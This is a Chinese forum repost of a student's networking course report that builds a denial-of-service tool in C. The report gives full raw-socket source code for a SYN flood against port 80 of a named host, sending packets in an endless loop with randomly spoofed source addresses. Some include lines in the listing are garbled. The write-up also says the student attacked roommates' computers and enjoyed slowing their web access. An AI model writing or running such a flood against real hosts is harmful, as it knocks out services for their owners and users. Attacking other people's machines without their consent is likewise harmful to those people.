免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
最近访问板块 发新帖
查看: 1888 | 回复: 0
打印 上一主题 下一主题

计算机网络课程设计 -----2006.7.7 [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2006-11-29 11:02 |只看该作者 |倒序浏览
C语言原始套接字编程实现DoS


(一)课程设计目的

计算机网络是信息技术领域最基础的课程。网络安全从本质上来讲就是网络上的信息安全。它涉及的领域相当广泛。这是因为在目前的公用通信网络中存在着各种各样的安全漏洞和威胁。从广义来讲,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论,都是网络安全所要研究的领域。本次课程设计一个DoS(Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务),当然设计这种攻击并不是特意去攻击电脑,而是通过设计这种攻击去学习怎样来进行DoS攻击,同时并了解IP数据包的格式,了解怎样来设置数据包。对TCP/IP能更深一步的了解。

(二)课程设计题目(问题)描述和要求
                用C语言原始套接字编写一个简单的DoS程序能对指定的计算机或者网络和端口进行拒绝服务攻击,使得对计算机或者网络的相应服务造成一定的影响。
                        
(三)课程设计环境
操作系统RedHat Linux 9.0(Kernel 2.4.20-8),编辑器vi,编译器gcc。

(四)系统分析与设计



IP数据包格式如上图

系统流程图:


相应的头文件
#include :定义一些关于套接字Socket的变量及一些结构体.
#include :定义协议,端口,地址及地址的每一位信息,还有一些IPV6的相关信息
#include :定义了网络接口及IP地址信息的结构信息
#include :定义TCP中IP包中的头部信息及一些状态默认值
#include :为系统调用提供一些关于传输过程中的数据控制,传输数据的详细信息
相应的结构体变量
struct sockaddr_in:表示套接字地址的信息
struct hostent:表示主机的信息
struct ip: 用来表示网络接口的地址和配置
struct tcphdr: tcp协议中ip数据包头部结构
相关的函数
void fprintf(FILE *stream,const char *format,...)将一些字符输出到stream中
void bzero(void *s,size_t n)设置从s开始的前n个字节为0
int inet_aton(const char *cp,struct in_adr *inp)将IP地址cp转换成标准的数字点格式且存储到nip中
struct hostent *gethostbyname(const char *name)返回一个类型为hostent的结构体,其中包括主机名和带点的IP地址
int socket(int domain,int type,int protocol)创建一个套接字连接且返回一个套接字描述符
int setsockopt(int s,int level,int optname,const void *optval,socklen_t optlen)设置套接字的各项参数
int setuid(uid_t uid):设置套接字的uid信息
uid_t getpid(void); 获取套接字的uid信息
uint16_t htons(uint16_t hostshort):将无符号整数hostshort从主机字节顺序转换成网络字节顺序
long int random(void) :随机产生一个31位的长整形并返回
ssize_t sendto(int s,const void *msg,size_t len,int flags,const struct sockaddr *to,socklen_t tolen):常用于将一个消息传递给另外一个套接字
         整个结构比较清晰,其中将首部校验和发送数据包这两块分别写成函数放在外面,分别是void send_tcp(int sockfd,struct sockaddr_in *addr);unsigned short check_sum(unsigned short *addr,int len)。
/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
char buffer[100]; /**** 用来放置我们的数据包并定义向关的变量 ****/
/******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
head_len=sizeof(struct ip)+sizeof(struct tcphdr);
bzero(buffer,100);
/******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
……..
/******* 开始填写TCP数据包 *****/
while(1)
{/** 你不知道我是从那里来的,慢慢的去等吧! **/
ip->ip_src.s_addr=random();
/**自己来校验头部吧 */
tcp->check=check_sum((unsigned short *)tcp,
sizeof(struct tcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
}
}
(五)源程序
/******************** DOS.c *****************/
#include
#include
#include
#include
#include
#include
#include
#include
#include b.h>
#define DESTPORT 80 /* 要攻击的端口(WEB) */
#define LOCALPORT 8888

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc,char **argv)
{
         int sockfd;
         struct sockaddr_in addr;
         struct hostent *host;
         int on=1;
         if(argc!=2)
         {
fprintf(stderr,"Usage:%s hostname\n\a",argv[0]);
                  exit(1);
         }
         bzero(&addr,sizeof(struct sockaddr_in));
         addr.sin_family=AF_INET;
         addr.sin_port=htons(DESTPORT);
         if(inet_aton(argv[1],&addr.sin_addr)==0)
         {
                  host=gethostbyname(argv[1]);
                  if(host==NULL)
                  {
                           fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno));
                           exit(1);
                  }
                  addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]);
         }
/**** 使用IPPROTO_TCP创建一个TCP的原始套接字 ****/
         sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
         if(sockfd
         {
                  fprintf(stderr,"Socket Error:%s\n\a",strerror(errno));
                  exit(1);
         }
/******** 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 ***/
         setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
/**** 没有办法,只用超级护用户才可以使用原始套接字 *********/
         setuid(getpid());
/********* 发送炸弹了!!!! ****/
         send_tcp(sockfd,&addr);
}
/******* 发送炸弹的实现 *********/
void send_tcp(int sockfd,struct sockaddr_in *addr)
{
         char buffer[100]; /**** 用来放置我们的数据包 ****/
         struct ip *ip;
         struct tcphdr *tcp;
         int head_len;
         /******* 我们的数据包实际上没有任何内容,所以长度就是两个结构的长度 ***/
         head_len=sizeof(struct ip)+sizeof(struct tcphdr);
         bzero(buffer,100);
         /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/
         ip=(struct ip *)buffer;
         ip->ip_v=IPVERSION; /** 版本一般的是 4 **/
         ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/
         ip->ip_tos=0; /** 服务类型 **/
         ip->ip_len=htons(head_len); /** IP数据包的长度 **/
         ip->ip_id=0; /** 让系统去填写吧 **/
         ip->ip_off=0; /** 和上面一样,省点时间 **/
         ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/
         ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/
         ip->ip_sum=0; /** 校验和让系统去做 **/
         ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/
         /******* 开始填写TCP数据包 *****/
         tcp=(struct tcphdr *)(buffer +sizeof(struct ip));
         tcp->source=htons(LOCALPORT);
         tcp->dest=addr->sin_port; /** 目的端口 **/
         tcp->seq=random();
         tcp->ack_seq=0;
         tcp->doff=5;
         tcp->syn=1; /** 我要建立连接 **/
         tcp->check=0;
         /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/
         while(1)
         {
                  /** 你不知道我是从那里来的,慢慢的去等吧! **/
                  ip->ip_src.s_addr=random();
                  /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */
                  /** 下面这条可有可无 */
                  tcp->check=check_sum((unsigned short *)tcp,
                  sizeof(struct tcphdr));
                  sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in));
         }
}
/* 下面是首部校验和的算法,偷了别人的 */
unsigned short check_sum(unsigned short *addr,int len)
{
         register int nleft=len;
         register int sum=0;
         register short *w=addr;
         short answer=0;
         while(nleft>1)
         {
                  sum+=*w++;
                  nleft-=2;
         }
         if(nleft==1)
         {
                  *(unsigned char *)(&answer)=*(unsigned char *)w;
                  sum+=answer;
         }
         sum=(sum>>16)+(sum&0xffff);
         sum+=(sum>>16);
         answer=~sum;
         return(answer);
}
(六)系统运行结果和系统调试出现的问题及解决办法
               
                进入终端,用vi将源程序dos.c编辑好,然后分别用gcc 对源程序进行编译及运行。由于程序比较简单,用的是静态测试,没有用到gdb调试器。分别如下图:
图一:用gcc对源文件进行编译生产可执行文件dos
图二:用生产的可执行文件进行运行:若单独运行dos不加参数,会显示错误并提示后面必须添加一个参数为hostname,即目的主机。随后分别对局域网的两台主机进行拒绝服务攻击。
图三:IP地址为172.17.37.87的主机装有天网防火墙,发现防火墙的日志中一直有多条记录在闪烁,而且是源源不断的出现,每次出现发送数据包的源地址都不是一样的,正符合程序中随机产生源IP地址。
图四:由于主机的80端口被攻击,消耗CPU资源,导致HTTP服务受影响。当再次上原来的网站时速度会变得比较慢。









(七)总结      
       本次实验完全是因为本学期选了一门《信息安全概论》。老师在课堂上介绍了很多关于网络攻击与防守方面的知识点。基本上都是听老师讲,又加上这是选修课,所以要求不怎么高,而且时间也不是很多,自己基本上没花多少时间去做一些什么东西。看到老师布置的计算机网络课程设计题目,老师建议我们做第二个(建立一个小型的internet局域网)。其实关于组网方面的实验我们平时都作过,而服务器方面的配置,除了DNS服务器外的服务器平常多多少少都配置过。看了第四个题目:可根据自己掌握的知识和自己感兴趣的问题自己选择题目。也可自己另外拟定其它题目,要求提供具体的功能说明,题目来源。其实我对网络方面还是很感兴趣的,这次选的是一个小程序,其中代码是参考网上的。放在自己的Linux上调试,其中利用的系统的man提供的帮助,理解了很多关于IP数据包的格式,以及怎样利用系统API进行填包,以及进行用Socket进行发送数据包。以前只是听老师说这些如何如何,现在自己可以亲自进行调试。还特地对宿舍的其他几台主机进行了攻击,选择的80端口(WEB服务),还发现真的对上网有很大的延迟。调试出来后感觉特别的开心,也算是一个小小的享受。总的说来,网络真的是博大精深,里面涉及的内容真的很多,有待于我们去学习,去实践,去发现。

(八)参考书目

1.《计算机网络》冯博琴 陈文革    高等教育出版社 2005.11
2.《Linux系统应用与开发教程》刘海燕 机械工业出版社 2005.10
3.《计算机网络实验教程》雷震甲 西安电子科技大学出版社 2005.4
4.《Unix/Linux编程实践教程》Bruce Molay著 杨宗源 黄海涛译 清华大学出版社 2004.10
5.《信息安全技术及应用实验》 蔡红柳 何新华主编 科学出版社 2005.7
6.《黑客攻防实战入门》邓吉 编著 电子工业出版社 2004.6


本文来自ChinaUnix博客,如果查看原文请点:http://blog.chinaunix.net/u/20812/showart_207639.html
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP